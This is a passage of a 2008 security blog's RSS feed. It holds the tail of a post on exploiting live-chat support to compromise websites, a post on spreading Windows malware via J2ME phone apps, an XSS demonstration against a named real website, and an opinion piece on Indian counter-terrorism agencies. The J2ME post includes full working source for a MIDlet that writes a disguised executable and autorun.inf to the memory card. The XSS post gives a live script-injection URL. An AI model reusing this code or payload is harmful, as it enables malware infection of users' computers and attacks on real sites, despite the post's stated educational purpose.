<p class="MsoNormal" style="text-align:justify;line-height:150%;"><span><span><span style="font-size:10pt;line-height:150%;font-family:Verdana;" lang="EN-AU">2. Reset / Change passwords </span></span></span></p>
<p class="MsoNormal" style="text-align:justify;line-height:150%;"><span><span><span style="font-size:10pt;line-height:150%;font-family:Verdana;" lang="EN-AU">3. Make the the chat professional uneasy initially</span></span></span></p>
<p class="MsoNormal" style="text-align:justify;line-height:150%;"><span><span><span style="font-size:10pt;line-height:150%;font-family:Verdana;" lang="EN-AU">4. Appear too desperate</span></span></span></p>
<p class="MsoNormal" style="text-align:justify;line-height:150%;"><span><span><span style="font-size:10pt;line-height:150%;font-family:Verdana;" lang="EN-AU">5. Give your real name / number or e-mail id</span></span></span></p>
<p class="MsoNormal" style="text-align:justify;line-height:150%;"><span><span><span style="font-size:10pt;line-height:150%;font-family:Verdana;" lang="EN-AU"> </span></span></span></p>
<p class="MsoNormal" style="text-align:justify;line-height:150%;"><span><span><strong><span style="font-size:10pt;line-height:150%;font-family:Verdana;" lang="EN-AU">Prevention</span></strong></span></span></p>
<p class="MsoNormal" style="text-align:justify;line-height:150%;"><span><span><span style="font-size:10pt;line-height:150%;font-family:Verdana;" lang="EN-AU">Some of the easiest ways to spot a fake conversation is to observe the language. The hacker will likely make a lot of spelling mistakes in order to sound like a genuine user. The questions can be too dumb at times. When a user has an access to FTP root, (s)he knows what to do with it. The support companies must make sure they do not modify the contents of a website in anyway. Not even rename files.</span></span></span></p>
<p class="MsoNormal" style="text-align:justify;line-height:150%;"><span><span><span style="font-size:10pt;line-height:150%;font-family:Verdana;" lang="EN-AU"> </span></span></span></p>
<p class="MsoNormal" style="text-align:justify;line-height:150%;"><span><span><strong><span style="font-size:10pt;line-height:150%;font-family:Verdana;" lang="EN-AU">Conclusion</span></strong></span></span></p>
<p class="MsoNormal" style="text-align:justify;line-height:150%;"><span><span><span style="font-size:10pt;line-height:150%;font-family:Verdana;" lang="EN-AU">I hope this has given you an idea about the dangers of Live Chat and how they can be exploited to compromise the security of a website. Any feedback will be appreciated.</span></span></span></p>
<br />  <a rel="nofollow" href="http://feeds.wordpress.com/1.0/gocomments/orchidseven.wordpress.com/28/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/comments/orchidseven.wordpress.com/28/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/godelicious/orchidseven.wordpress.com/28/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/delicious/orchidseven.wordpress.com/28/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/gofacebook/orchidseven.wordpress.com/28/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/facebook/orchidseven.wordpress.com/28/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/gotwitter/orchidseven.wordpress.com/28/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/twitter/orchidseven.wordpress.com/28/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/gostumble/orchidseven.wordpress.com/28/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/stumble/orchidseven.wordpress.com/28/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/godigg/orchidseven.wordpress.com/28/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/digg/orchidseven.wordpress.com/28/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/goreddit/orchidseven.wordpress.com/28/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/reddit/orchidseven.wordpress.com/28/" /></a> <img alt="" border="0" src="http://stats.wordpress.com/b.gif?host=orchidseven.wordpress.com&amp;blog=2391395&amp;post=28&amp;subd=orchidseven&amp;ref=&amp;feed=1" width="1" height="1" />]]></content:encoded>
			<wfw:commentRss>http://orchidseven.wordpress.com/2008/12/02/28/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
	
		<media:content url="http://1.gravatar.com/avatar/1a49f658dde72f5f62e272a99b3bc536?s=96&#38;d=identicon&#38;r=G" medium="image">
			<media:title type="html">rajsm</media:title>
		</media:content>

		<media:content url="http://orchidseven.files.wordpress.com/2008/12/before.jpg" medium="image">
			<media:title type="html">before</media:title>
		</media:content>

		<media:content url="http://orchidseven.files.wordpress.com/2008/12/after.jpg" medium="image">
			<media:title type="html">websitehack-after</media:title>
		</media:content>
	</item>
		<item>
		<title>Java 2 Micro Edition (J2ME OR Java ME) Based Computer Malware Propagation Technique.</title>
		<link>http://orchidseven.wordpress.com/2008/11/21/java-2-micro-edition-j2me-or-java-me-based-computer-malware-propagation-technique/</link>
		<comments>http://orchidseven.wordpress.com/2008/11/21/java-2-micro-edition-j2me-or-java-me-based-computer-malware-propagation-technique/#comments</comments>
		<pubDate>Fri, 21 Nov 2008 16:56:42 +0000</pubDate>
		<dc:creator>atulcherian</dc:creator>
				<category><![CDATA[1]]></category>

		<guid isPermaLink="false">http://orchidseven.wordpress.com/?p=23</guid>
		<description><![CDATA[Author: Atul Alex Cherian ( atul.alex [at] orchidseven.com ).   J2me Background Info:           J2me is a &#8220;Stripped-Down&#8221; version of the actual Java that runs on our Computers.This variant of Java is usually implemented on Handheld Devices &#38; Mobile Devices&#8230; such as Mobile Phones,PDAs,Smart-Phones&#8230;you name it!           If you&#8217;ve ever played JAVA Based games [...]<img alt="" border="0" src="http://stats.wordpress.com/b.gif?host=orchidseven.wordpress.com&amp;blog=2391395&amp;post=23&amp;subd=orchidseven&amp;ref=&amp;feed=1" width="1" height="1" />]]></description>
			<content:encoded><![CDATA[<p class="MsoNormal">Author: Atul Alex Cherian ( atul.alex [at] orchidseven.com ).</p>
<p class="MsoNormal"><span> </span></p>
<p class="MsoNormal"><strong><span>J2me Background Info:</span></strong></p>
<p class="MsoNormal"><span><span>          </span>J2me is a &#8220;Stripped-Down&#8221; version of the actual Java that runs on our Computers.This variant of Java is usually implemented on Handheld Devices &amp; Mobile Devices&#8230; such as Mobile Phones,PDAs,Smart-Phones&#8230;you name it!</span></p>
<p class="MsoNormal"><span>          If you&#8217;ve ever played JAVA Based games on your Mobile Phone/Device..youalready know how it looks like.All java based games &amp; applications that are available for Mobile Phones belong to the &#8220;J2me&#8221; technology.</span></p>
<p class="MsoNormal"><span> </span></p>
<p class="MsoNormal"><strong><span>Technically&#8230; this is how the Propagation work</span></strong></p>
<p class="MsoNormal"><strong><span><span style="font-weight:normal;"><span>           </span>Lets consider a simple Java enabled Mobile Phone.Now-a-days almost all mobile phones have got &#8220;Memory Cards&#8221; so that its storage capacity can be increased.And well&#8230;When you connect these kinds of phones to your computer to transfer your Multimedia files &amp; other such documents,this is what happens:</span></span></strong></p>
<p class="MsoNormal"><span> </span></p>
<p class="MsoNormal"><span>1]Almost all Mobile Phone Brands when connected to PC, if they<span>  </span>contain a<span>  </span>Memory Card, make these Memory Cards availble as &#8220;Removable Storage Device&#8221;..just like what happens when we plug in a Pen-drive to our system.</span></p>
<p class="MsoNormal"><span>2]Even if a card reader is used, the story is still the same.It still gets detected<span> </span><span> </span>as a New Removable Drive.</span></p>
<p class="MsoNormal"><span> </span></p>
<p class="MsoNormal"><span>And this beautiful Feature is what I&#8217;ve thought of Exploiting to Propagate a Malware.</span></p>
<p class="MsoNormal"><span> </span></p>
<p class="MsoNormal"><strong><span>How?</span></strong></p>
<p class="MsoNormal"><span>We&#8217;ve all heard about &#8220;Autorun.inf&#8221; based malwares&#8230;. hav&#8217;nt we? Hmm&#8230;thissounds interesting!</span></p>
<p class="MsoNormal"><span>So..if we could achieve this:</span></p>
<p class="MsoNormal"><span>1] Some-how if we could dump a Malware &amp; the corresponding &#8220;Autorun.inf&#8221;<span> </span>file(u guessed it! to execute our Malware!)..Windows should take care of the rest for us!</span></p>
<p class="MsoNormal"> </p>
<p class="MsoNormal"><span><span><strong>Now comes the most interesting part&#8230;..</strong></span></span></p>
<p class="MsoNormal"><span><span> </span>Can we achieve the above objective using a Mobile Phone Based J2me Application/Game?</span></p>
<p class="MsoNormal"><span><span> </span>Apparently&#8230;.Yes! We can make a simple Mobile Phone Game/App that when run on the Mobile phone can infect the &#8220;Memory Card&#8221; &amp; subsequently the PC with a &#8220;Windows&#8221;<span>  </span>based Malware!</span></p>
<p class="MsoNormal"><span> </span></p>
<p class="MsoNormal"><strong><span>How on earth is it possible?It can be done like this&#8230;&#8230;&#8230;</span></strong></p>
<p class="MsoNormal"><span>1] Create a simple J2me application/game that contains both our Malware as well as<span> </span>the &#8220;Autorun.inf&#8221; file as &#8220;Resources&#8221;.</span></p>
<p class="MsoNormal"><span>2] When this application is run, it extracts these resources &amp; places it in the &#8221;root&#8221; of the Memory Stick.</span></p>
<p class="MsoNormal"><span>3] That way when the Mobile Phone is connected to the computer next time, this<span> </span>Malware might possibly be executed.</span></p>
<p class="MsoNormal"><span> </span></p>
<p class="MsoNormal"><span><strong>Benefits of this Technique of Propagation?</strong></span></p>
<p class="MsoNormal"><span>1] Its quite easy Technically to take almost any J2me application or game and<span> embed a Malware &amp; an Autorun.inf file &amp; add a simple &#8220;.class&#8221; module which does the dirty work for us.It can be done in such a way that even after our modification, the app or game will look &amp; work just fine.</span></span></p>
<p class="MsoNormal"><span>2] As of now, no Antivirus Product or Any other such Anti-Malware product is capable of scanning Applications or games &#8220;installed&#8221; in a Mobile Device.Its going to be <span>very tough to scan it this way because different Brands &amp; even different Models of phones use different techniques to store these games &amp; applications.</span></span></p>
<p class="MsoNormal"><span>3] J2me applications come with a &#8220;.Jar&#8221; extension which is nothing but a &#8220;zipped&#8221; file.Thus no need to use packers in our Malware as &#8220;Size&#8221; is already taken care-of by J2me Technology!</span></p>
<p class="MsoNormal"><span>4] Even if the &#8220;Autorun.inf&#8221; &amp; Malware are deleted from the card&#8230; next time u run this game or application on ur phone, it&#8217;ll be generated again..n again&#8230;unless the infected mobile game/app is deleted from the Mobile Device.</span></p>
<p class="MsoNormal"><span>5] Even Rootkits can be technically Propagated this way!</span></p>
<p class="MsoNormal"><span>6] Now-a-days almost all Mobile Devices support these (Java is Portable!), so the Impact can be very High!</span></p>
<p class="MsoNormal"><span> </span></p>
<p class="MsoNormal"><strong><span>Drawbacks:</span></strong></p>
<p class="MsoNormal"><span>1] Different technologies are used by different mobile Devices&#8217; Manufacturers.So it&#8217;ll be a lil bit tough to create a Malware that avoids detection &amp; still can work equally well on most of these brands.</span></p>
<p class="MsoNormal"><span>2] Well, we all know that decompiling a &#8220;.class&#8221; to its actual &#8220;.java&#8221; file is no big deal&#8230;so it&#8217;s very easy to detect these too.</span></p>
<p class="MsoNormal"><span>3] J2me apps when trying to access Phones&#8217; filesystem, need the user&#8217;s consent.But since everyone of us is fed-up of this feature, people just click &#8220;yes&#8221; all the time!</span></p>
<p class="MsoNormal"><span><span>   </span>But intelligent coding is required so that the alarms raised are as minimum as possible.</span></p>
<p class="MsoNormal"><span> </span></p>
<p class="MsoNormal"><strong><span>Proof Of Concept:</span></strong></p>
<p class="MsoNormal"><strong><span><span>            </span></span></strong><span>I&#8217;ve coded a Proof Of Concept J2me Based application that when installed &amp; run by a Sony Ericsson Based phone, Infects its memory stick with a Simple Windows executable (Not malware!) &amp; the corresponding &#8220;Autorun.inf&#8221; file.This phone then when connected to the Computer, infects it!(successfully tested).Since its hardcoded for SE phones,modifications are needed to make it work on different Brands of Mobile Phones.</span></p>
<p class="MsoNormal"><span><span>          </span>So that clears all doubts regarding the &#8220;Pratical Usage&#8221; of this technique.</span></p>
<p class="MsoNormal"><span> </span></p>
<p class="MsoNormal"><strong><span>Ending Notes:</span></strong></p>
<p class="MsoNormal"><strong><span><span>            </span></span></strong><span>AV companies..watch-out! its goin to be a tough time ahead..with all these Mobile Devices around! This Document &amp; the corresponding PoC were developed &amp; published for educational Purposes &amp; for warning the Security Professionals of a possible new way of Malware Propagation.I am in no way Liable or Responsible for any kind of misuse or harm caused due to the Information Published here.</span></p>
<p class="MsoNormal"><span> </span></p>
<p class="MsoNormal"><strong><span>PoC Code:</span></strong></p>
<p class="MsoNormal"><span>package aodrulez;</span></p>
<p class="MsoNormal"><span>import java.io.*;</span></p>
<p class="MsoNormal"><span>import java.util.*;</span></p>
<p class="MsoNormal"><span>import javax.microedition.io.*;</span></p>
<p class="MsoNormal"><span>import javax.microedition.midlet.*;</span></p>
<p class="MsoNormal"><span>import javax.microedition.io.file.*;</span></p>
<p class="MsoNormal"><span>import javax.microedition.lcdui.Alert;</span></p>
<p class="MsoNormal">import javax.microedition.lcdui.ImageItem;</p>
<p class="MsoNormal"><span>import javax.microedition.lcdui.TextField;</span></p>
<p class="MsoNormal"><span>import javax.microedition.lcdui.DateField;</span></p>
<p class="MsoNormal"><span>import javax.microedition.lcdui.StringItem;</span></p>
<p class="MsoNormal">import java.io.DataInputStream;</p>
<p class="MsoNormal"><span>import java.io.DataOutputStream;</span></p>
<p class="MsoNormal"><span>import javax.microedition.io.Connector;</span></p>
<p class="MsoNormal"><span>import javax.microedition.io.file.FileConnection;</span></p>
<p class="MsoNormal"><span>import java.io.IOException;</span></p>
<p class="MsoNormal"><span>import java.io.PrintStream;</span></p>
<p class="MsoNormal">import javax.microedition.midlet.MIDlet;</p>
<p class="MsoNormal"><span>import javax.microedition.lcdui.Displayable;</span></p>
<p class="MsoNormal">import java.util.*;</p>
<p class="MsoNormal"><span>import java.io.*;</span></p>
<p class="MsoNormal"><span>import javax.microedition.io.*;</span></p>
<p class="MsoNormal"><span>import javax.microedition.io.file.*;</span></p>
<p class="MsoNormal"><span>import javax.microedition.midlet.*;</span></p>
<p class="MsoNormal"><span>import javax.microedition.lcdui.*;</span></p>
<p class="MsoNormal"><span>import javax.microedition.rms.*;</span></p>
<p class="MsoNormal"><span>import java.lang.String;</span></p>
<p class="MsoNormal"><span> </span></p>
<p class="MsoNormal"><span><em>//Normal J2ME application&#8217;s structure.</em></span></p>
<p class="MsoNormal"><span>public class Virus extends MIDlet{</span></p>
<p class="MsoNormal"><span> </span></p>
<p class="MsoNormal"><span>byte [] viruscode;</span></p>
<p class="MsoNormal"><span> </span></p>
<p class="MsoNormal"><span>public Virus()</span></p>
<p class="MsoNormal"><span>{</span></p>
<p class="MsoNormal"><span>}</span></p>
<p class="MsoNormal"><span><em>//Am not creating any UI &#8230;just do the job n exit!</em></span></p>
<p class="MsoNormal"><span><span>  </span>protected void startApp() {</span></p>
<p class="MsoNormal"><span><span>  </span>try{</span></p>
<p class="MsoNormal"><span><span>  </span>viruscode=loadResource(&#8220;/malware.png&#8221;);}</span></p>
<p class="MsoNormal"><span><span><em> </em></span><em>//malware.png is the name of my Windows Executable(can be Malware!) added as </em></span></p>
<p class="MsoNormal"><span><em>//resource to avoid suspicion.</em></span></p>
<p class="MsoNormal"><span> </span></p>
<p class="MsoNormal"><span><span>  </span>catch(Exception e){</span></p>
<p class="MsoNormal"><span><span>  </span>System.out.println(&#8220;Error!&#8221;);</span></p>
<p class="MsoNormal"><span><span>  </span>}</span></p>
<p class="MsoNormal"><span><span>       </span>saveFile(&#8220;file:///e:/&#8221;,&#8221;exyiv.exe&#8221;);</span></p>
<p class="MsoNormal"><span><em>// e:/ is the driveletter assigned to memory stick on Sony Ericsson Phones.So</em></span></p>
<p class="MsoNormal"><span><em> //extracting the file to its root!</em></span></p>
<p class="MsoNormal"><span><span>     </span>try{</span></p>
<p class="MsoNormal"><span><span>          </span><span> </span></span></p>
<p class="MsoNormal"><span><span>          </span><span>   </span>viruscode=loadResource(&#8220;/autorun.png&#8221;);} </span></p>
<p class="MsoNormal"><span><em>//autorun.png is the name of my Autorun.inf File added as resource to avoid</em></span></p>
<p class="MsoNormal"><span><em>//suspicion.</em></span></p>
<p class="MsoNormal"><span> </span></p>
<p class="MsoNormal"><span><span>  </span>catch(Exception e){</span></p>
<p class="MsoNormal"><span><span>  </span>System.out.println(&#8220;Error!&#8221;);</span></p>
<p class="MsoNormal"><span><span>  </span>}</span></p>
<p class="MsoNormal"><span><span>       </span>saveFile(&#8220;file:///e:/&#8221;,&#8221;autorun.inf&#8221;);</span></p>
<p class="MsoNormal"><span><span>        </span>destroyApp(true);<em> //Kill the app&#8230;since the phone is infected!</em></span></p>
<p class="MsoNormal"><span><span>          </span><span>   </span></span></p>
<p class="MsoNormal"><span><span>          </span><span>   </span></span></p>
<p class="MsoNormal"><span><span>    </span>}</span></p>
<p class="MsoNormal"><span> </span></p>
<p class="MsoNormal"><span><span>          </span></span></p>
<p class="MsoNormal"><span><span>          </span><span> </span>public void pauseApp() {}</span></p>
<p class="MsoNormal"><span><span>          </span><span> </span></span></p>
<p class="MsoNormal"><span><span>          </span><span> </span></span></p>
<p class="MsoNormal"><span><span>          </span><span> </span>public void destroyApp(boolean condition) {</span></p>
<p class="MsoNormal"><span><span>       </span>notifyDestroyed();</span></p>
<p class="MsoNormal"><span><span>   </span>}</span></p>
<p class="MsoNormal"><span><span> </span><em>//This is the function that extracts resources from the j2me app&#8217;s resource folder </em></span></p>
<p class="MsoNormal"><span><em>//into a Byte array.</em></span></p>
<p class="MsoNormal"><span><span>   </span></span></p>
<p class="MsoNormal"><span><span>   </span>public byte [] loadResource(String resourceName) throws Exception</span></p>
<p class="MsoNormal"><span>{</span></p>
<p class="MsoNormal"><span>byte [] returnBytes = null;</span></p>
<p class="MsoNormal"><span> </span></p>
<p class="MsoNormal"><span>try</span></p>
<p class="MsoNormal"><span>{System.out.println(&#8220;Attempting to load resource: ["+resourceName+"]&#8220;);</span></p>
<p class="MsoNormal"><span>InputStream ins = null;</span></p>
<p class="MsoNormal"><span>if ((ins = getClass().getResourceAsStream(resourceName)) != null)</span></p>
<p class="MsoNormal"><span>{</span></p>
<p class="MsoNormal"><span>ByteArrayOutputStream baos = new ByteArrayOutputStream();</span></p>
<p class="MsoNormal"><span>byte [] nextByte= new byte[1];</span></p>
<p class="MsoNormal"><span> while ((ins.read(nextByte,0,1))!=(-1))</span></p>
<p class="MsoNormal"><span>{</span></p>
<p class="MsoNormal"><span>baos.write(nextByte[0]);</span></p>
<p class="MsoNormal"><span>}</span></p>
<p class="MsoNormal"><span>if (baos.size() &gt; 0)</span></p>
<p class="MsoNormal"><span>{</span></p>
<p class="MsoNormal"><span>returnBytes = baos.toByteArray();</span></p>
<p class="MsoNormal"><span>System.out.println(&#8220;Resource ["+resourceName+"] successfully loaded. (&#8220;+baos.size()+&#8221; bytes)&#8221;);</span></p>
<p class="MsoNormal"><span>}</span></p>
<p class="MsoNormal"><span>}</span></p>
<p class="MsoNormal"><span>}</span></p>
<p class="MsoNormal"><span>catch(Exception e)</span></p>
<p class="MsoNormal"><span>{returnBytes = null;</span></p>
<p class="MsoNormal"><span>e.printStackTrace();</span></p>
<p class="MsoNormal"><span>}</span></p>
<p class="MsoNormal"><span>return returnBytes;</span></p>
<p class="MsoNormal"><span>}</span></p>
<p class="MsoNormal"><span><em>//this is the function that saves a file to a particular location we specify using the </em></span></p>
<p class="MsoNormal"><span><em>//&#8221;Filesystem Api&#8221;.</em></span></p>
<p class="MsoNormal"><span><em>// We&#8217;ll call this to dump our malwares to the root of the phones&#8217; memory Stick.</em></span></p>
<p class="MsoNormal"><span><span> <span> </span>private void saveFile(String path, String name) {</span></span></p>
<p class="MsoNormal"><span><span>        </span>try {</span></p>
<p class="MsoNormal"><span><span>            </span>String url = path + name;</span></p>
<p class="MsoNormal"><span><span>            </span></span></p>
<p class="MsoNormal"><span><span>            </span></span></p>
<p class="MsoNormal"><span><span>            </span>FileConnection fconn = (FileConnection)Connector.open(url, Connector.READ_WRITE);</span></p>
<p class="MsoNormal"><span><span>            </span>if (!fconn.exists()) {</span></p>
<p class="MsoNormal"><span><span>                </span>fconn.create();</span></p>
<p class="MsoNormal"><span><span>            </span>}</span></p>
<p class="MsoNormal"><span><span>            </span>OutputStream ops = fconn.openOutputStream();</span></p>
<p class="MsoNormal"><span><span>            </span>ops.write(viruscode);</span></p>
<p class="MsoNormal"><span><span>            </span>ops.close();</span></p>
<p class="MsoNormal"><span><span>            </span>fconn.close();</span></p>
<p class="MsoNormal"><span><span>        </span>}</span></p>
<p class="MsoNormal"><span><span>        </span>catch (IOException ioe) {</span></p>
<p class="MsoNormal"><span><span>            </span>System.out.println(&#8220;IOException: &#8220;+ioe.getMessage());</span></p>
<p class="MsoNormal"><span><span>        </span>}</span></p>
<p class="MsoNormal"><span><span>        </span>catch (SecurityException se) {</span></p>
<p class="MsoNormal"><span><span>            </span>System.out.println(&#8220;Security exception:&#8221; + se.getMessage());</span></p>
<p class="MsoNormal"><span><span>        </span>}</span></p>
<p class="MsoNormal"><span><span>    </span>} </span></p>
<p class="MsoNormal"><span>}</span></p>
<p class="MsoNormal"><strong><br />
</strong></p>
<p class="MsoNormal"> </p>
<p class="MsoNormal"><span> </span></p>
<p class="MsoNormal"><span> </span></p>
<br />  <a rel="nofollow" href="http://feeds.wordpress.com/1.0/gocomments/orchidseven.wordpress.com/23/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/comments/orchidseven.wordpress.com/23/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/godelicious/orchidseven.wordpress.com/23/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/delicious/orchidseven.wordpress.com/23/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/gofacebook/orchidseven.wordpress.com/23/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/facebook/orchidseven.wordpress.com/23/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/gotwitter/orchidseven.wordpress.com/23/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/twitter/orchidseven.wordpress.com/23/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/gostumble/orchidseven.wordpress.com/23/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/stumble/orchidseven.wordpress.com/23/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/godigg/orchidseven.wordpress.com/23/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/digg/orchidseven.wordpress.com/23/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/goreddit/orchidseven.wordpress.com/23/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/reddit/orchidseven.wordpress.com/23/" /></a> <img alt="" border="0" src="http://stats.wordpress.com/b.gif?host=orchidseven.wordpress.com&amp;blog=2391395&amp;post=23&amp;subd=orchidseven&amp;ref=&amp;feed=1" width="1" height="1" />]]></content:encoded>
			<wfw:commentRss>http://orchidseven.wordpress.com/2008/11/21/java-2-micro-edition-j2me-or-java-me-based-computer-malware-propagation-technique/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
	
		<media:content url="http://1.gravatar.com/avatar/521ac755f0f7b5b43df050f10bf2b0f6?s=96&#38;d=identicon&#38;r=G" medium="image">
			<media:title type="html">atulcherian</media:title>
		</media:content>
	</item>
		<item>
		<title>Reliance BIG TV website &#8211; XSS</title>
		<link>http://orchidseven.wordpress.com/2008/10/27/reliance-big-tv-website-xss/</link>
		<comments>http://orchidseven.wordpress.com/2008/10/27/reliance-big-tv-website-xss/#comments</comments>
		<pubDate>Mon, 27 Oct 2008 17:15:32 +0000</pubDate>
		<dc:creator>rajsm</dc:creator>
				<category><![CDATA[XSS]]></category>
		<category><![CDATA[Reliance BIG TV]]></category>

		<guid isPermaLink="false">http://orchidseven.wordpress.com/?p=11</guid>
		<description><![CDATA[Reliance BIG TV XSS Reliance BIG TV XSS<img alt="" border="0" src="http://stats.wordpress.com/b.gif?host=orchidseven.wordpress.com&amp;blog=2391395&amp;post=11&amp;subd=orchidseven&amp;ref=&amp;feed=1" width="1" height="1" />]]></description>
			<content:encoded><![CDATA[<p style="text-align:center;"><a title="Reliance BIG TV website " href="http://www.bigtv.co.in/bigtv/searchKeyword.jsp?searchString=%3Cscript%3Ealert(%22XSS%20ahoy!%22)%3C/script%3E" target="_blank">Reliance BIG TV XSS</a></p>
<p style="text-align:center;"><a href="http://orchidseven.files.wordpress.com/2008/10/reliance-xss.jpg"><img class="aligncenter size-large wp-image-12" title="reliance-xss" src="http://orchidseven.files.wordpress.com/2008/10/reliance-xss.jpg?w=500&#038;h=287" alt="" width="500" height="287" /></a></p>
<p style="text-align:center;"><a title="Reliance BIG TV website " href="http://www.bigtv.co.in/bigtv/searchKeyword.jsp?searchString=%3Cscript%3Ealert(%22XSS%20ahoy!%22)%3C/script%3E" target="_blank">Reliance BIG TV XSS</a></p>
<br />  <a rel="nofollow" href="http://feeds.wordpress.com/1.0/gocomments/orchidseven.wordpress.com/11/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/comments/orchidseven.wordpress.com/11/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/godelicious/orchidseven.wordpress.com/11/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/delicious/orchidseven.wordpress.com/11/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/gofacebook/orchidseven.wordpress.com/11/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/facebook/orchidseven.wordpress.com/11/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/gotwitter/orchidseven.wordpress.com/11/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/twitter/orchidseven.wordpress.com/11/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/gostumble/orchidseven.wordpress.com/11/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/stumble/orchidseven.wordpress.com/11/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/godigg/orchidseven.wordpress.com/11/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/digg/orchidseven.wordpress.com/11/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/goreddit/orchidseven.wordpress.com/11/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/reddit/orchidseven.wordpress.com/11/" /></a> <img alt="" border="0" src="http://stats.wordpress.com/b.gif?host=orchidseven.wordpress.com&amp;blog=2391395&amp;post=11&amp;subd=orchidseven&amp;ref=&amp;feed=1" width="1" height="1" />]]></content:encoded>
			<wfw:commentRss>http://orchidseven.wordpress.com/2008/10/27/reliance-big-tv-website-xss/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
	
		<media:content url="http://1.gravatar.com/avatar/1a49f658dde72f5f62e272a99b3bc536?s=96&#38;d=identicon&#38;r=G" medium="image">
			<media:title type="html">rajsm</media:title>
		</media:content>

		<media:content url="http://orchidseven.files.wordpress.com/2008/10/reliance-xss.jpg?w=500" medium="image">
			<media:title type="html">reliance-xss</media:title>
		</media:content>
	</item>
		<item>
		<title>Why the Indian Government fails to curb terrorism? &#8211; As i see it.</title>
		<link>http://orchidseven.wordpress.com/2008/05/17/why-the-indian-government-fails-to-curb-terrorism-as-i-see-it/</link>
		<comments>http://orchidseven.wordpress.com/2008/05/17/why-the-indian-government-fails-to-curb-terrorism-as-i-see-it/#comments</comments>
		<pubDate>Sat, 17 May 2008 17:16:46 +0000</pubDate>
		<dc:creator>rajsm</dc:creator>
				<category><![CDATA[Research]]></category>

		<guid isPermaLink="false">http://orchidseven.wordpress.com/?p=10</guid>
		<description><![CDATA[India gets affected by Bomb blasts almost every month. Hundreds of Innocent people die for no reason. While it is difficult to stop all such attacks, it is fairly possible to prevent such attacks by improvising and using the existing resources effectively. Let&#8217;s look at some of the problems we face: 1. ATS : Wrong [...]<img alt="" border="0" src="http://stats.wordpress.com/b.gif?host=orchidseven.wordpress.com&amp;blog=2391395&amp;post=10&amp;subd=orchidseven&amp;ref=&amp;feed=1" width="1" height="1" />]]></description>
			<content:encoded><![CDATA[<p>India gets affected by Bomb blasts almost every month. Hundreds of Innocent people die for no reason. While it is difficult to stop all such attacks, it is fairly possible to prevent such attacks by improvising and using the existing resources effectively.</p>
<p>Let&#8217;s look at some of the problems we face:</p>
<p><strong>1. ATS : Wrong focus?</strong></p>
<p>While it&#8217;s a common knowledge that terrorists use the Internet for communication, and target Indian websites to highlight their cause, The Anti-terrorist Squd seems to focus more on tapping mobiles, Intercepting GSM networks and voice-privacy solutions. The reality is, even though these do help, they are ineffective means of tracking terrorists. Talk about Internet / Web security or Digital Forensics, they give you an odd look. Techies are still insignificant people in front of their &#8220;real&#8221; world of guns and bullets. Besides we always have the Cyber Crime Cell in Mumbai to put the blame on.</p>
<p><strong>2- Cyber Crime Cell, Mumbai : Cyber What?</strong></p>
<p>I don&#8217;t mean to be rude, but it&#8217;s practically a glorified department. Even tracing an email is a challenge. But more than the technical incompetency, the larger issue is attitude. A few intelligent people who know a few technical things prefer to keep mum. Their reason &#8211; Why open your mouth and invite more work? The complex unsaid ego and divide between &#8220;senior&#8221; and &#8220;junior&#8221; officers ensure that sensible work or process never get&#8217;s implemented.</p>
<p><strong>3 &#8211; NTRO : Making the right moves</strong></p>
<p>NTRO is one organization i personally respect a lot.  They have made decent efforts to bridge the gap between various agencies over time. With a strong technical team, i feel they are quite equipped to handle Cyber Crime related issues. But again, they are not directly involved or are responsible to tackle it.</p>
<p><strong>4 &#8211; CERT India : A big joke</strong></p>
<p>I don&#8217;t know why we have CERT India. What is it&#8217;s role? let&#8217;s see what they say about it:</p>
<p>http://www.cert.org.in/incidentreporting.htm</p>
<p><em>&#8220;CERT-In will then analyse the information provided by the reporting authority and identify the existence of an incident. In case it is found that an incident has occurred, a tracking number will be assigned to the incident. Accordingly, the report will be acknowledged and the reporting authority will be informed of the assigned tracking number. CERT-In will designate a team as needed.&#8221; &#8230; and <strong>Blah Blah Blah.</strong></em></p>
